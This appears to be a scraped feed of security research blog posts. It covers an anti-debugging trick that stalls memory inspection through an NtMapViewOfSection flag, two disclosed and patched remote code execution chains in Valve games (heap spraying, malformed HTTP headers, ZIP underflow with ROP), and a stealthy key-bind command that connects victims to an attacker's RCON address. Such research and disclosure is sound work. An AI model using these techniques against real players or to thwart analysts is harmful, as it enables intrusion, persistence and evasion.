You can, sure. Windows and a majority of its components will function fine, similar to if you root your phone. Remember the part earlier, though, about 4k video content? That won’t be available to you (as an example). Whether it be a game or a movie, a vendor of consumable media decides what users they trust with their content. Unfortunately, without a TPM, you aren’t cutting it.

You’ve probably noticed that the marketing for this requirement is vague and confusing, and that’s intentional. It doesn’t do much for you, the consumer. However, it does set the stage for the future where Microsoft begins shipping their TPM on your processor. Enter Microsoft’s Pluton. The same technology is present in the Xbox. It would be an absolute dream come true for companies and vendors with special interests to completely own and control your PC to the same degree as a phone or the Xbox.

While the writers of this article will not deny that device attestation can bring excellent security for the standard consumers of the world, we cannot ignore that it opens the door to the restriction of user privacy and freedoms. It also paves the way to have the PC locked into a nice controllable cube for all the citizens to use.

You can see the wood for the trees here. When a company tells you that you need something, and it’s “for your own good,” and hey, they’re just on a humanitarian aid mission to save you from yourself, one should be highly skeptical. Microsoft is pushing this hard; we can even see them citing entirely dubious statistics. We took this one from The Verge:

“Microsoft has been warning for months that firmware attacks are on the rise. “Our Security Signals report found that 83 percent of businesses experienced a firmware attack, and only 29 percent are allocating resources to protect this critical layer,” says Weston.”

If you read into this link, you will find it cites information from Microsoft themselves, called “Security Signals,” and by the time you’re done reading it, you forgot how you got there in the first place. Not only is this statistic not factual, but successful firmware attacks are incredibly rare. Did we mention that a TPM isn’t going to protect you from UEFI malware that was planted on the device by a rogue agent at manufacture time? What about dynamic firmware attacks? Did you know that technologies such as Intel Boot Guard that have existed for the better part of a decade defend well against such attacks that might seek to overwrite flash memory?

Takeaway

We are here to remind you that the TPM requirement of Windows 11 furthers the agenda to protect the PC against you, its owner. It is one step closer to the lockdown of the PC. As Microsoft won the secure boot battle a decade ago, which is where Microsoft became the sole owner of the Secure Boot keys, this move also further tightens the screws on the liberties the PC gives us. While it won’t be evident immediately upon the launch of Windows 11, the pieces are moving together at a much faster pace.

We ask you to do your research in an age of increased restriction of personal freedom, censorship, and endless media propaganda. We strongly encourage you to research Microsoft’s future Pluton chip.

There are links provided below to research for yourself.

Preventing memory inspection on Windows

By: jm
23 May 2021 at 23:00

Have you ever wanted your dynamic analysis tool to take as long as GTA V to query memory regions while being impossible to kill and using 100% of the poor CPU core that encountered this? Well, me neither, but the technology is here and it’s quite simple!

What, Where, WTF?

As usual with my anti-debug related posts, everything starts with a little innocuous flag that Microsoft hasn’t documented. Or at least so I thought.

This time the main offender is NtMapViewOfSection, a syscall that can map a section object into the address space of a given process, mainly used for implementing shared memory and memory mapping files (The Win32 API for this would be MapViewOfFile).

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID           *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect);

By doing a little bit of digging around in ntoskrnl’s MiMapViewOfSection and searching in the Windows headers for known constants, we can recover the meaning behind most valid flag values.

/* Valid values for AllocationType */
MEM_RESERVE                0x00002000
SEC_PARTITION_OWNER_HANDLE 0x00040000
MEM_TOPDOWN                0x00100000
SEC_NO_CHANGE              0x00400000
SEC_FILE                   0x00800000
MEM_LARGE_PAGES            0x20000000
SEC_WRITECOMBINE           0x40000000

Initially I failed at ctrl+f and didn’t realize that 0x2000 is a known flag, so I started digging deeper. In the same function we can also discover what the flag does and its main limitations.

// --- MAIN FUNCTIONALITY ---
if (SectionOffset + ViewSize > SectionObject->SizeOfSection &&
    !(AllocationAttributes & 0x2000))
    return STATUS_INVALID_VIEW_SIZE;

// --- LIMITATIONS ---
// Image sections are not allowed
if ((AllocationAttributes & 0x2000) &&
    SectionObject->u.Flags.Image)
    return STATUS_INVALID_PARAMETER;

// Section must have been created with one of these 2 protection values
if ((AllocationAttributes & 0x2000) &&
    !(SectionObject->InitialPageProtection & (PAGE_READWRITE | PAGE_EXECUTE_READWRITE)))
    return STATUS_SECTION_PROTECTION;

// Physical memory sections are not allowed
if ((Params->AllocationAttributes & 0x20002000) &&
    SectionObject->u.Flags.PhysicalMemory)
    return STATUS_INVALID_PARAMETER;

Now, this sounds like a bog standard MEM_RESERVE and it’s possible to VirtualAlloc(MEM_RESERVE) whatever you want as well, however APIs that interact with this memory do treat it differently.

How differently you may ask? Well, after incorrectly identifying the flag as undocumented, I went ahead and attempted to create the biggest section I possibly could. Everything went well until I opened the ProcessHacker memory view. The PC was nigh unusable for at least a minute and after that process hacker remained unresponsive for a while as well. Subsequent runs didn’t seem to seize up the whole system however it still took up to 4 minutes for the NtQueryVirtualMemory call to return.

I guess you could call this a happy little accident as Bob Ross would say.

The cause

Since I’m lazy, instead of diving in and reversing, I decided to use Windows Performance Recorder. It’s a nifty tool that uses ETW tracing to give you a lot of insight into what was happening on the system. The recorded trace can then be viewed in Windows Performance Analyzer.

Trace Viewed in Windows Performance Analyzer

This doesn’t say too much, but at least we know where to look.

After spending some more time staring at the code in everyone’s favourite decompiler it became a bit more clear what’s happening. I’d bet that it’s iterating through every single page table entry for the given memory range. And because we’re dealing with terabytes of of data at a time it’s over a billion iterations. (MiQueryAddressState is a large function, and I didn’t think a short pseudocode snippet would do it justice)

This is also reinforced by the fact that from my testing the relation between view size and time taken is completely linear. To further verify this idea we can also do some quick napkin math to see if it all adds up:

instructions per second (ips) = 3.8Ghz * ~8
page table entries      (n)   = 12TB / 4096
time taken              (t)   = 3.5 minutes

instruction per page table entry = ips * t / n = ~2000

In my opinion, this number looks rather believable so, with everything added up, I’ll roll with the current idea.

Minimal Example

// file handle must be a handle to a non empty file
void* section = nullptr;
auto  status  = NtCreateSection(&section,
                                MAXIMUM_ALLOWED,
                                nullptr,
                                nullptr,
                                PAGE_EXECUTE_READWRITE,
                                SEC_COMMIT,
                                file_handle);
if (!NT_SUCCESS(status))
    return status;

// Personally largest I could get the section was 12TB, but I'm sure people with more
// memory could get it larger.
void* base = nullptr;
for (size_t i = 46;  i > 38; --i) {
    SIZE_T view_size = (1ull << i);
    status           = NtMapViewOfSection(section,
                                          NtCurrentProcess(),
                                          &base,
                                          0,
                                          0x1000,
                                          nullptr,
                                          &view_size,
                                          ViewUnmap,
                                          0x2000, // <- the flag
                                          PAGE_EXECUTE_READWRITE);

    if (NT_SUCCESS(status))
        break;
}

Do note that, ideally, you’d need to surround code with these sections because only the reserved portions of these sections cause the slowdown. Furthermore, transactions could also be a solution for needing a non-empty file without touching anything already existing or creating something visible to the user.

Conclusion

I think this is a great and powerful technique to mess with people analyzing your code. The resource usage is reasonable, all it takes to set it up is a few syscalls, and it’s unlikely to get accidentally triggered.

Counter-Strike Global Offsets: reliable remote code execution

One of the factors contributing to Counter-Strike Global Offensive’s (herein “CS:GO”) massive popularity is the ability for anyone to host their own community server. These community servers are free to download and install and allow for a high grade of customization. Server administrators can create and utilize custom assets such as maps, allowing for innovative game modes.

However, this design choice opens up a large attack surface. Players can connect to potentially malicious servers, exchanging complex game messages and binary assets such as textures.

We’ve managed to find and exploit two bugs that, when combined, lead to reliable remote code execution on a player’s machine when connecting to our malicious server. The first bug is an information leak that enabled us to break ASLR in the client’s game process. The second bug is an out-of-bounds access of a global array in the .data section of one of the game’s loaded modules, leading to control over the instruction pointer.

Community server list

Players can join community servers using a user friendly server browser built into the game:

Once the player joins a server, their game client and the community server start talking to each other. As security researchers, it was our task to understand the network protocol used by CS:GO and what kind of messages are sent so that we could look for vulnerabilities.

As it turned out, CS:GO uses its own UDP-based protocol to serialize, compress, fragment, and encrypt data sent between clients and a server. We won’t go into detail about the networking code, as it is irrelevant to the bugs we will present.

More importantly, this custom UDP-based protocol carries Protobuf serialized payloads. Protobuf is a technology developed by Google which allows defining messages and provides an API for serializing and deserializing those messages.

Here is an example of a protobuf message defined and used by the CS:GO developers:

message CSVCMsg_VoiceInit {
	optional int32 quality = 1;
	optional string codec = 2;
	optional int32 version = 3 [default = 0];
}

We found this message definition by doing a Google search after having discovered CS:GO utilizes Protobuf. We came across the SteamDatabase GitHub repository containing a list of Protobuf message definitions.

As the name of the message suggests, it’s used to initialize some kind of voice-message transfer of one player to the server. The message body carries some parameters, such as the codec and version used to interpret the voice data.

Developing a CS:GO proxy

Having this list of messages and their definitions enabled us to gain insights into what kind of data is sent between the client and server. However, we still had no idea in which order messages would be sent and what kind of values were expected. For example, we knew that a message exists to initialize a voice message with some codec, but we had no idea which codecs are supported by CS:GO.

For this reason, we developed a proxy for CS:GO that allowed us to view the communication in real-time. The idea was that we could launch the CS:GO game and connect to any server through the proxy and then dump any messages received by the client and sent to the server. For this, we reverse-engineered the networking code to decrypt and unpack the messages.

We also added the ability to modify the values of any message that would be sent/received. Since an attacker ultimately controls any value in a Protobuf serialized message sent between clients and the server, it becomes a possible attack surface. We could find bugs in the code responsible for initializing a connection without reverse-engineering it by mutating interesting fields in messages.

The following GIF shows how messages are being sent by the game and dumped by the proxy in real-time, corresponding to events such as shooting, changing weapons, or moving:

Equipped with this tooling, it was now time for us to discover bugs by flipping some bits in the protobuf messages.

OOB access in CSVCMsg_SplitScreen

We discovered that a field in the CSVCMsg_SplitScreen message, that can be sent by a (malicious) server to a client, can lead to an OOB access which subsequently leads to a controlled virtual function call.

The definition of this message is:

message CSVCMsg_SplitScreen {
	optional .ESplitScreenMessageType type = 1 [default = MSG_SPLITSCREEN_ADDUSER];
	optional int32 slot = 2;
	optional int32 player_index = 3;
}

CSVCMsg_SplitScreen seemed interesting, as a field called player_index is controlled by the server. However, contrary to intuition, the player_index field is not used to access an array, the slot field is. As it turns out, the slot field is used as an index for the array of splitscreen player objects located in the .data segment of engine.dll file without any bounds checks.

Looking at the crash we could already observe some interesting facts:

  1. The array is stored in the .data section within engine.dll
  2. After accessing the array, an indirect function call on the accessed object occurs

The following screenshot of decompiled code shows how player_splot was used without any checks as an index. If the first byte of the object was not 1, a branch is entered:

The bug proved to be quite promising, as a few instructions into the branch a vtable is dereferenced and a function pointer is called. This is shown in the next screenshot:

We were very excited about the bug as it seemed highly exploitable, given an info leak. Since the pointer to an object is obtained from a global array within engine.dll, which at the time of writing is a 6MB binary, we were confident that we could find a pointer to data we control. Pointing the aforementioned object to attacker controlled data would yield arbitrary code execution.

However, we would still have to fake a vtable at a known location and then point the function pointer to something useful. Due to this constraint, we decided to look for another bug that could lead to an info leak.

Uninitialized memory in HTTP downloads leads to information disclosure

As mentioned earlier, server admins can create servers with any number of customizations, including custom maps and sounds. Whenever a player joins a server with such customizations, files behind the customizations need to be transferred. Server admins can create a list of files that need to be downloaded for each map in the server’s playlist.

During the connection phase, the server sends the client the URL of a HTTP server where necessary files should be downloaded from. For each custom file, a cURL request would be created. Two options that were set for each request piqued our interested: CURLOPT_HEADERFUNCTION and CURLOPT_WRITEFUNCTION. The former allows a callback to be registered that is called for each HTTP header in the HTTP response. The latter allows registering a callback that is triggered whenever body data is received.

The following screenshot shows how these options are set:

We were interested in seeing how Valve developers handled incoming HTTP headers and reverse engineered the function we named CurlHeaderCallback().

It turned out that the CurlHeaderCallback() simply parsed the Content-Length HTTP header and allocated an uninitialized buffer on the heap accordingly, as the Content-Length should correspond to the size of the file that should be downloaded.

The CurlWriteCallback() would then simply write received data to this buffer.

Finally, once the HTTP request finished and no more data was to be received, the buffer would be written to disk.

We immediately noticed a flaw in the parsing of the HTTP header Content-Length: As the following screenshot shows, a case sensitive compare was made.

Case sensitive search for the Content-Length header.

This compare is flawed as HTTP headers can be lowercase as well. This is only the case for Linux clients as they use cURL and then do the compare. On Windows the client just assumes that the value returned by the Windows API is correct. This yields the same bug, as we can just send an arbitrary Content-Length header with a small response body.

We set up a HTTP server with a Python script and played around with some HTTP header values. Finally, we came up with a HTTP response that triggers the bug:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 1337
content-length: 0
Connection: closed

When a client receives such a HTTP response for a file download, it would recognize the first Content-Length header and allocate a buffer of size 1337. However, a second content-length header with size 0 follows. Although the CS:GO code misses the second Content-Length header due to its case sensitive search and still expects 1337 bytes of body data, cURL uses the last header and finishes the request immediately.

On Windows, the API just returns the first header value even though the response is ill-formed. The CS:GO code then writes the allocated buffer to disk, along with all uninitialized memory contents, including pointers, contained within the buffer.

Although it appears that CS:GO uses the Windows API to handle the HTTP downloads on Windows, the exact same HTTP response worked and allowed us to create files of arbitrary size containing uninitialized memory contents on a player’s machine.

A server can then request these files through the CNETMsg_File message. When a client receives this message, they will upload the requested file to the server. It is defined as follows:

message CNETMsg_File {
	optional int32 transfer_id = 1;
	optional string file_name = 2;
	optional bool is_replay_demo_file = 3;
	optional bool deny = 4;
}

Once the file is uploaded, an attacker controlled server could search the file’s contents to find pointers into engine.dll or heap pointers to break ASLR. We described this step in detail in our appendix section Breaking ASLR.

Putting it all together: ConVars as a gadget

To further enable customization of the game, the server and client exchange ConVars, which are essentially configuration options.

Each ConVar is managed by a global object, stored in engine.dll. The following code snippet shows a simplified definition of such an object which is used to explain why ConVars turned out to be a powerful gadget to help exploit the OOB access:

struct ConVar {
    char *convar_name;
    int data_len;
    void *convar_data;
    int color_value;
};

A community server can update its ConVar values during a match and notify the client by sending the CNETMsg_SetConVar message:

message CMsg_CVars {
	message CVar {
		optional string name = 1;
		optional string value = 2;
		optional uint32 dictionary_name = 3;
	}

	repeated .CMsg_CVars.CVar cvars = 1;
}

message CNETMsg_SetConVar {
	optional .CMsg_CVars convars = 1;
}

These messages consist of a simple key/value structure. When comparing the message definition to the struct ConVar definition, it is correct to assume that the entirely attacker-controllable value field of the ConVar message is copied to the client’s heap and a pointer to it is stored in the convar_value field of a ConVar object.

As we previously discussed, the OOB access in CSVCMsg_SplitScreen occurs in an array of pointers to objects. Here is the decompilation of the code in which the OOB access occurs as a reminder:

Since the array and all ConVars are located in the .data section of engine.dll, we can reliably set the player_slot argument such that the ptr_to_object points to a ConVar value which we previously set. This can be illustrated as follows:

We also mentioned earlier that a few instructions after the OOB access a virtual method on the object is called. This happens as usual through a vtable dereference. Here is the code again as a reminder:

Since we control the contents of the object through the ConVar, we can simply set the vtable pointer to any value. In order to make the exploit 100% reliable, it would make sense to use the info leak to point back into the .data section of engine.dll into controlled data.

Luckily, some ConVars are interpreted as color values and expect a 4 byte (Red Blue Green Alpha) value, which can be attacker controlled. This value is stored directly in the color_value field in above struct ConVar definition. Since the CS:GO process on Windows is 32-bit, we were able to use the color value of a ConVar to fake a pointer.

If we use the fake object’s vtable pointer to point into the .data section of engine.dll, such that the called method overlaps with the color_value, we can finally hijack the EIP register and redirect control flow arbitrarily. This chain of dereferences can be illustrated as follows:

ROP chain to RCE

With ASLR broken and us having gained arbitrary instruction pointer control, all that was left to do was build a ROP chain that finally lead to us calling ShellExecuteA to execute arbitrary system commands.

Conclusion

We submitted both bugs in one report to Valve’s HackerOne program, along with the exploit we developed that proved 100% reliablity. Unfortunately, in over 4 months, we did not even receive an acknowledgment by a Valve representative. After public pressure, when it became apparent that Valve had also ignored other Security Researchers with similar impact, Valve finally fixed numerous security issues. We hope that Valve re-structures its Bug Bounty program to attract Security Researchers again.

Time Table

Date (DD/MM/YYYY) What
04.01.2021 Reported both bugs in one report to Valve’s bug bounty program
11.01.2021 A HackerOne triager verifies the bug and triages it
10.02.2021 First follow-up, no response from Valve
23.02.2021 Second follow-Up, no response from Valve
10.04.2021 Disclosure of Bug existance via twitter
15.04.2021 Third follow-up, no response from Valve
28.04.2021 Valve patches both bugs

Breaking ASLR

In the Uninitialized memory in HTTP downloads leads to information disclosure section, we showed how the HTTP download allowed us to view arbitrarily sized chunks of uninitialized memory in a client’s game process.

We discovered another message that seemed quite interesting to us: CSVCMsg_SendTable. Whenever a client received such a message, it would allocate an object with attacker-controlled integer on the heap. Most importantly, the first 4 bytes of the object would contain a vtable pointer into engine.dll.

def spray_send_table(s, addr, nprops):
    table = nmsg.CSVCMsg_SendTable()
    table.is_end = False
    table.net_table_name = "abctable"
    table.needs_decoder = False

    for _ in range(nprops):
        prop = table.props.add()
        prop.type = 0x1337ee00
        prop.var_name = "abc"
        prop.flags = 0
        prop.priority = 0
        prop.dt_name = "whatever"
        prop.num_elements = 0
        prop.low_value = 0.0
        prop.high_value = 0.0
        prop.num_bits = 0x00ff00ff

    tosend = prepare_payload(table, 9)
    s.sendto(tosend, addr)

The Windows heap is kind of nondeteministic. That is, a malloc -> free -> malloc combo will not yield the same block. Thankfully, Saar Amaar published his great research about the Windows heap, which we consulted to get a better understanding about our exploit context.

We came up with a spray to allocate many arrays of SendTable objects with markers to scan for when we uploaded the files back to the server. Because we can choose the size of the array, we chose a not so commonly alloacted size to avoid interference with normal game code. If we now deallocate all of the sprayed arrays at once and then let the client download the files the chance of one of the files to hit a previously sprayed chunk is relativly high.

In practice, we almost always got the leak in the first file and when we didn’t we could simply reset the connection and try again, as we have not corrupted the program state yet. In order to maximize success, we created four files for the exploit. This ensures that at least one of them succeeds and otherwise simply try again.

The following code shows how we scanned the received memory for our sprayed object to find the SendTable vtable which will point into engine.dll.

files_received.append(fn)
pp = packetparser.PacketParser(leak_callback)

for i in range(len(data) - 0x54):
    vtable_ptr = struct.unpack('<I', data[i:i+4])[0]
    table_type = struct.unpack('<I', data[i+8:i+12])[0]
    table_nbits = struct.unpack('<I', data[i+12:i+16])[0]
    if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff:
        engine_base = vtable_ptr - OFFSET_VTABLE 
        print(f"vtable_ptr={hex(vtable_ptr)}")
        break

CVE-2021-30481: Source engine remote code execution via game invites

By: floesen
20 April 2021 at 00:00

Steam is the most popular PC game launcher in the world. It gives millions of people the chance to play their favorite video games with their friends using the built in friend and party system, so it’s safe to assume most users have accepted an invite at one point or another. There’s no real danger in that, is there?

In this blog post, we will look at how an attacker can use the Steamworks API in combination with various features and properties of the Source engine to gain remote code execution (RCE) through malicious Steam game invites.

Why game invites do more than you think they do

The Steamworks API allows game developers to access various Steam features from within their game through a set of different interfaces. For example, the ISteamFriends interface implements functions such as InviteUserToGame and ReplyToFriendMessage, which, as their names suggest, let you interact with your friends either by inviting them to your game or by just sending them a text message. How can this become a problem?

Things become interesting when looking at what InviteUserToGame actually does to get a friend into your current game/lobby. Here, you can see the function prototype and an excerpt of the description from the official documentation:

bool InviteUserToGame( CSteamID steamIDFriend, const char *pchConnectString );

“If the target user accepts the invite then the pchConnectString gets added to the command-line when launching the game. If the game is already running for that user, then they will receive a GameRichPresenceJoinRequested_t callback with the connect string.”

Basically, that means that if your friends do not already have the game started, you can specify additional start parameters for the game process, which will be appended at the end of the command line. For regular invites in the context of, e.g., CS:GO, the start parameter +connect_lobby in combination with your 64-bit lobby ID is appended. This very command, in turn, is executed by your in-game console and eventually gets you into the specified lobby. But where is the problem now?

When specifying console commands in the start parameters of a Source engine game, you are not given any limitations. You can arbitrarily execute any game command of your choice. Here, you can now give free rein to your creativity; everything you can configure in the UI and much more beyond that can generally be tweaked with using console commands. This allows for funny things as messing with people’s game language, their sensitivity, resolution, and generally everything settings-related you can think of. In my opinion, this is already quite questionable but not extremely malicious yet.

Using console commands to build up an RCON connection

A lot of Source engine games come with something that is known as the Source RCON Protocol. Briefly summarized, this protocol enables server owners to execute console commands in the context of their game servers in the same manner as you would typically do it to configure something in your game client. This works by prefixing any console command with rcon before executing it. In order to do so, this requires you to previously connect and authenticate yourself to the game server using the rcon_address and rcon_password commands. You might already know where this is going… An attacker can execute the InviteUserToGame function with the second parameter set to "+rcon_address yourip:yourport +rcon". As soon as the victims accept the invite, the game will start up and try to connect back to the specified address without any notification whatsoever. Note that the additional +rcon at the end is required because the client does not initiate the connection until there is an attempt to actually communicate to the server. All of this is already very concerning as such invites inherently leak the victim’s IP address to the attacker.

Abusing the RCON connection

A further look into how the Source engine implements RCON on the client-side reveals the full potential. In CRConClient::ParseReceivedData, we can see how the client reacts to different types of RCON packets coming from the server. Within the scope of this work, we only look at the following three types of packets: SERVERDATA_RESPONSE_STRING, SERVERDATA_SCREENSHOT_RESPONSE, and SERVERDATA_CONSOLE_LOG_RESPONSE. The following image 1 shows how RCON packets look like in general. The content delivered by the packet starts with the Body member and is typically null-terminated with the Empty String field.

Now, starting with the first type, it allows an attacker hosting a malicious RCON server to print arbitrary strings into the connected victim’s game console as long as the RCON connection remains open. This is not related to the final RCE, but it is too funny to just leave it out. Below, there is an example of something that would certainly be surprising to anybody who sees it popping up in their console.

Let’s move on to the exciting part. To simplify matters, we will only explain how the client handles SERVERDATA_SCREENSHOT_RESPONSE packets as the code is almost exactly the same for SERVERDATA_CONSOLE_LOG_RESPONSE packets. Eventually, the client treats the packet data it receives as a ZIP file and tries to find a file with the name screenshot.jpg inside. This file is then subsequently unpacked to the root CS:GO installation folder. Unfortunately, we cannot control the name under which the screenshot is saved on the disk nor can we control the file extension. The screenshot is always saved as screenshotXXXX.jpg where XXXX represents a 4-digit suffix starting at 0000, which is increased as long as a file with that name already exists.

void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen )
{
	char pScreenshotPath[MAX_PATH];
	do 
	{
		Q_snprintf( pScreenshotPath, sizeof( pScreenshotPath ), "%s/screenshot%04d.jpg", m_RemoteFileDir.Get(), m_nScreenShotIndex++ );	
	} while ( g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" ) );

	char pFullPath[MAX_PATH];
	GetModSubdirectory( pScreenshotPath, pFullPath, sizeof(pFullPath) );
	HZIP hZip = OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY );

	int nIndex;
	ZIPENTRY zipInfo;
	FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo );
	if ( nIndex >= 0 )
	{
		UnzipItem( hZip, nIndex, pFullPath, 0, ZIP_FILENAME );
	}
	CloseZip( hZip );
}

Note that an attacker can send these kinds of RCON packets without the client requesting anything prior. Already, an attacker can upload arbitrary files if the victim accepts the game invite. So far, there is no memory corruption required yet.

Integer underflow in FindZipItem leads to remote code execution

The functions OpenZip, FindZipItem, UnzipItem, and CloseZip belong to a library called XZip/XUnzip. The specific version of the library which is used by the RCON handler dates back to 2003. While we found several flaws in the implementation, we will only focus on the first one that helped us get code execution.

As soon as CRConClient::SaveRemoteScreenshot calls FindZipItem to retrieve information about the screenshot.jpg file inside the archive, TUnzip::Get is called. Inside TUnzip::Get, the archive is parsed according to the ZIP file format. This includes processing the so-called central directory file header.

int unzlocal_GetCurrentFileInfoInternal (unzFile file, unz_file_info *pfile_info,
   unz_file_info_internal *pfile_info_internal, char *szFileName,
   uLong fileNameBufferSize, void *extraField, uLong extraFieldBufferSize,
   char *szComment, uLong commentBufferSize)
{
	// ...
	s=(unz_s*)file;
	// ...
	if (unzlocal_getLong(s->file,&file_info_internal.offset_curfile) != UNZ_OK)
		err=UNZ_ERRNO;
	// ...
}

In the code above, the relative offset of the local file header located in the central directory file header is read into file_info_internal.offset_curfile. This allows to locate the actual position of the compressed file in the archive, and it will play a key role later on.

Somewhere later in TUnzip::Get, a function with the name unzlocal_CheckCurrentFileCoherencyHeader is called. Here, the previously mentioned local file header is now processed given the offset that was retrieved before. This is what the corresponding code looks like:

int unzlocal_CheckCurrentFileCoherencyHeader (unz_s *s,uInt *piSizeVar,
   uLong *poffset_local_extrafield, uInt  *psize_local_extrafield)
{
	// ...
	if (lufseek(s->file,s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile,SEEK_SET)!=0)
		return UNZ_ERRNO;


	if (err==UNZ_OK)
		if (unzlocal_getLong(s->file,&uMagic) != UNZ_OK)
			err=UNZ_ERRNO;
	// ...
}

At first, a call to lufseek sets the internal file pointer to point to the local file header in the archive (here, it can be assumed that there are no additional bytes in front of the archive).

From this assumption it follows that s->byte_before_the_zipfile is 0.

This is very similar to how dealing with files works in the C standard library. In our specific case, the RCON handler opened the ZIP archive with the ZIP_MEMORY flag, thus specifying that the archive is essentially just a byte blob in memory. Therefore, calls to lufseek only update a member in the file object.

int lufseek(LUFILE *stream, long offset, int whence)
{
	// ...
	else
	{ 
		if (whence==SEEK_SET) stream->pos=offset;
		else if (whence==SEEK_CUR) stream->pos+=offset;
		else if (whence==SEEK_END) stream->pos=stream->len+offset;
		return 0;
	}
}

Once lufseek returns, another function with the name unzlocal_getLong is invoked to read out the magic bytes that identify the local file header. Internally, this function calls unzlocal_getByte four times to read out every single byte of the long value. unzlocal_getByte in turn calls lufread to directly read from the file stream.

int unzlocal_getLong(LUFILE *fin,uLong *pX)
{
	uLong x ;
	int i = 0;
	int err;

	err = unzlocal_getByte(fin,&i);
	x = (uLong)i;

	if (err==UNZ_OK)
		err = unzlocal_getByte(fin,&i);
	x += ((uLong)i)<<8;

	// repeated two more times for the remaining bytes
	// ...
	return err;
}

int unzlocal_getByte(LUFILE *fin,int *pi)
{
	unsigned char c;
	int err = (int)lufread(&c, 1, 1, fin);
	// ...
}

size_t lufread(void *ptr,size_t size,size_t n,LUFILE *stream)
{
	unsigned int toread = (unsigned int)(size*n);
	// ...
	if (stream->pos+toread > stream->len) toread = stream->len-stream->pos;
	memcpy(ptr, (char*)stream->buf + stream->pos, toread); DWORD red = toread;
	stream->pos += red;
	return red/size;
}

Given the fact that s->cur_file_info_internal.offset_curfile can be arbitrarily controlled by modifying the corresponding field in the central directory structure, the stack can be smashed in the first call to lufread right on the spot. If you set the local file header offset to 0xFFFFFFFE a chain of operations eventually leads to code execution.

First, the call to lufseek in unzlocal_CheckCurrentFileCoherencyHeader will set the pos member of the file stream to 0xFFFFFFFE. When unzlocal_getLong is called for the first time, unzlocal_getByte is also invoked. lufread then tries to read a single byte from the file stream. The variable toread inside lufread that determines the amount of memory to be read will be equal to 1 and therefore the condition if (stream->pos + toread > stream->len) (unsigned comparison) becomes true. stream->pos + toread calculates 0xFFFFFFFE + 1 = 0xFFFFFFFF and thus is likely greater than the overall length of the archive which is stored in stream->len. Next, the toread variable is updated with stream->len - stream->pos which calculates stream->len - 0xFFFFFFFE. This calculation underflows and effectively computes stream->len + 2. Note how in the call to memcpy the calculation of the source parameter overflows simultaneously. Finally, the call to memcpy can be considered equivalent to this:

memcpy(ptr, (char*)stream->buf - 2, stream->len + 2);

Given that ptr points to a local variable of unzlocal_getByte that is just a single byte in size, this immediately corrupts the stack.

unzlocal_getByte calls lufread(&c, 1, 1, fin) with c being an unsigned char.

Luckily, the memcpy call writes the entire archive blob to the stack, enabling us to also control the content of what is written.

At this point, all that is left to do is constructing a ZIP archive that has the local file header offset set to 0xFFFFFFFE and otherwise primarily consists of ROP gadgets only. To do so, we started with a legitimate archive that contains a single screenshot file. Then, we proceeded to corrupt the offset as mentioned above and observed where to put the gadgets at based on the faulting EIP value. For the ROP chain itself, we exploited the fact that one of the DLLs loaded into the game called xinput1_3.dll has ASLR disabled. That being said, its base address can be somewhat reliably guessed. The exploit only ever fails when its preferred address is already occupied by another DLL. Without doing proper statistical measurements, the probability of the exploit to work is estimated to be somewhere around 80%. For more details on this, feel free to check out the PoC, which is linked in the last section of this article.

Advancing the RCE even more

Interestingly, at the very end, you can once again see how this exploit benefits from the start parameter injection and the RCON capabilities.

Let’s start with the apparent fact that the arbitrary file upload, which was discussed previously, greatly helps this exploit to reach its full potential. One shellcode to rule them all or in other words: Whether you want to execute the calculator or a malicious binary you previously uploaded, it really does not matter. All that needs to be done is changing a single string in the exploit shellcode. It does not matter if your binary has been saved with the .png extension.

Finally, there is still something that can be done to make the exploit more powerful. We cannot change the fact that the exploit attempts fail from time to time due to bad luck with the base addresses, but what if we had unlimited tries to attempt the code execution? Seems unreasonable? It actually is very reasonable.

The Source engine comes with the console command host_writeconfig that allows us to write out the current game configuration to the config file on the disk. Obviously, we can also inject this command using game invites. Right before doing that, however, we can use bind to configure any key that is frequently pressed by players to execute the RCON connection commands from the very beginning. Bonus points if you make the keys maintain their original functionality to remain stealthy. Once we configured such a key, we can write out the settings to the disk so that the changes become persistent. Here is an example showing how the tab key can be stealthily configured to initiate an outgoing RCON connection each time it is pressed.

+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig

Now, after accepting just a single invite, you can try to run the exploit on your victims whenever they look at the scoreboard.

Also bind +showscores as that way tab keeps showing the scoreboard.

Timeline and final words

  • [2019-06-05] Reported to Valve on HackerOne
  • [2019-09-14] Bug triaged
  • [2020-10-23] Bounty paid ($8000) & notification that initial fix was deployed in Team Fortress 2
  • [2021-04-17] Final patch

PoC exploit code can be found on my github. The vulnerability was given a severity rating of 9.0 (critical) by Valve.

The recent updates make it impossible to carry out this exploit any longer. First of all, Valve removed the offending RCON command handlers making the arbitrary file upload and the code execution in the unzipping code impossible. Also, at least for CS:GO, Valve seems to now use GetLaunchCommandLine instead of the OS command line. However, in CS:S (and maybe other games?) the OS command line apparently is still in use. After all, at least a warning is displayed that shows the parameters your game is about to start with for those games. The next image shows how such a warning would look like when accepting an invite that rebinds a key and establishes an RCON connection at the same time.

Remember that if you click Ok here, you are more or less agreeing to install a persistent IP logger.

At the very end, I would like to talk about a different matter. Personally, it is imperative to say a few final words about the situation with Valve and their bug bounty program. To sum up, the public disclosure about the existence of this bug has caused quite a stir regarding Valve’s slow response times to bugs. I never wanted to just point the finger at Valve and complain about my experiences; I want to actually change something in the long run too. The efforts that other researchers have put and are going to put into the search for bugs should not be in vain. Hopefully, things will improve in the future so we can happily work with Valve again to enhance the security of their games.

  1. https://developer.valvesoftware.com/wiki/Source_RCON_Protocol 

A look at LLVM - comparing clamp implementations

By: duk
9 April 2021 at 00:00

Please note that this is not an endorsement or criticism of either of these languages. It’s simply something I found interesting with how LLVM handles code generation between the two. This is an implementation quirk, not a language issue.

Update (April 9, 2021): A bug report was filed and a fix was pushed!

